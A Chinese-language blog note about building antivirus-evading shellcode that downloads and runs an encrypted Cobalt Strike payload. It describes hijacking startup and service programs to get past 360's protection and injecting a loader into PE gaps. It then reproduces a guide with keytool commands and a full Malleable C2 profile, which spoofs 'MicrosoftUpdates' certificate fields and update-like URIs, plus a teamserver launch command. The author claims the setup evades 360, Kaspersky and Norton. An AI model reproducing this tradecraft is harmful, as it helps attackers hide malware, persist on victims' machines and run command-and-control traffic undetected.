打造一款Socket型免殺無彈窗的shellcode
- 2020 年 3 月 6 日
- 筆記
寫一個 shellcode 帶有 socket+rc4 加密跑遠端加密後的 cs 的 payload 下載下來後執行。然後利用啟動項劫持技術,繞過殺軟的啟動保護。
再高級一點的話,就是把啟動項劫持,改成用 masm 編寫超迷你型的 shellcode 裝載器,然後插入目標的 PE 空隙中,然後修改 OEP 指向我們的空隙然後執行完 shellcode 後再跳轉到入口點。
啟動項劫持的原理就是,360 雖然禁止對啟動項進行增改,但是刪和查是可以的,並且對於啟動項 / 服務項中的目標程序並沒有進行保護。所以我們可以對啟動項的程序進行劫持替換修改都是沒問題的。或者不對啟動項劫持進行替換,而是找到一個運行中的服務,kill 掉它的進程,然後對服務源程序進行劫持也是可以的。原理都差不多。
至於 payload,有兩個方案。
一.可以自己寫,難度有點高,可以參考
二進制入門 – 打造 Linux shellcode 基礎篇 https://www.cnblogs.com/ichunqiu/p/7273935.html
但是這種東西,一般頂天給你整個下載者。和 cs 那種全部功能純 shellcode 還是不一樣的。你下載者最終還是需要下載的你的二進制文件,達不到 「負載無文件」(不是純無文件,畢竟你的 shellcode 還是需要的),可能會導致你的馬子被檢測到。
payload 難主要難在,對於 API 地址的定位,不過一般只要找到 LoadLibrary 的地址,其實還算是好說的啦。
實在不行,直接整個 PELOADER,自建一個 RVA 導入,不過傳輸 EXE 的話可能會被殺軟攔截 emmm,但是都能傳 shellcode 了,傳個加密的 PE 到內存理論上也是沒關係的吧,
二.推薦直接使用 CS或者 MSF,簡單粗暴。
最後研究出的代碼地址在這裡,喜歡記得點個star。
https://github.com/9bie/shellcode

帶有直接運行和服務啟動效果。
怎麼用我懶得說了,只能說不添加 啟動的話,至少是能無彈窗過 360 + 主防吧。
目前發現還不能過諾頓,過諾頓其實很簡單,如果是CS的話,不用自帶的證書即可,自己簽發生成證書,然後https監聽器上線。
諾頓流量免殺可以參考閱讀渣渣輝博客https://www.zzhsec.com/556.html:
原文如下
生成免費的ssl證書,棄用cobaltstrike.store,用自己的zzhsec.store
第一步生成zzhsec.store文件
命令: keytool -genkey -alias zzhsec -keyalg RSA -validity 36500 -keystore zzhsec.store
注意記得-alias後面的參數和-keystore後面的參數後面會用到C2-profile裏面 接下來需要輸入密碼,一定要記得這串密碼,後面會用到,不然到時候你需要自己回來重新生成下

然後輸入名字,例如:US 然後一步步輸入就行

最後這裡輸入y即可完成

然後再輸入一次密碼即可
ls查看當前目錄就生成好了zzhsec.store文件

keytool具體參數生成可以參考改文章:
https://blog.csdn.net/luoyongsir/article/details/54929288
創建修改C2-profile文件
set sample_name "zzhsec POS Malware"; set sleeptime "5000"; # use a ~30s delay between callbacks set jitter "10"; # throw in a 10% jitter set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0"; #設置證書 https-certificate { set CN "US"; set O "MicrosoftUpdates"; set C "en"; set L "US"; set OU "MicrosoftUpdates"; set ST "US"; set validity "365"; } #設置 code-signer{ set keystore "zzhsec.store"; set password "123.zzhsec!"; set alias "zzhsec"; } #指定DNS beacon不用的時候指定到IP地址 set dns_idle "8.8.4.4"; #每個單獨DNS請求前強制睡眠時間 set dns_sleep "0"; #通過DNS上載數據時主機名的最大長度[0-255] set maxdns "235"; http-post { set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php"; client { header "Accept" "text/plain"; header "Accept-Language" "en-us"; header "Accept-Encoding" "text/plain"; header "Content-Type" "application/x-www-form-urlencoded"; id { netbios; parameter "id"; } output { base64; prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data="; print; } } server { output { print; } } } http-get { set uri "/updates"; client { metadata { netbiosu; prepend "user="; header "Cookie"; } } server { header "Content-Type" "text/plain"; output { base64; print; } } }
上面文件對標生成的zzhsec.store即可 比如:
Is CN=US, OU=MicrosoftUpdatess, O=MicrosoftUpdatess, L=US, ST=US, C=en 替換 #設置證書 https-certificate { set CN "US"; set O "MicrosoftUpdatess"; set C "en"; set L "US"; set OU "MicrosoftUpdatess"; set ST "US"; set validity "365"; } ps:注意對應好 以及下面的 #設置 code-signer{ set keystore "zzhsec.store"; set password "123.zzhsec!"; set alias "zzhsec"; } 在上面的生成命令中的alias以及keystore後面的字段對應好 以及輸入命令的時候,你輸入的密碼也需要替換[object Object]

推薦兩個Github上的C2-profile
https://github.com/rsmudge/Malleable-C2-Profiles https://github.com/threatexpress/malleable-c2 官方的C2配置文章 https://www.cobaltstrike.com/help-malleable-c2
接下來就是驗證C2-profile是否可用了
命令 ./c2lint me.profile
沒有出現什麼問題就可以了
然後期待teamserver即可
命令 nohup ./teamserver 1.1.1.1 123456 ./me.profile &
然後就可以愉快的去連接了
對了,建議把teamserver的端口改一下

改成一些你用不到的服務端口即可
最後測試了下卡巴斯基的諾頓和360,走https流量
隨便你怎麼操作,都不攔截,之前的會攔截流量
直接生成exe的話,可能被殺,需要自己簡單做一下免殺
我用的powershell上線的,其他的shellcode自己隨便搞一搞免殺也是分分鐘
推薦閱讀: https://xz.aliyun.com/t/2796 https://xz.aliyun.com/t/2239 https://www.chabug.org/web/832.html
參考來源:⑨BIE的博客以及渣渣輝博客
文由Hack學習呀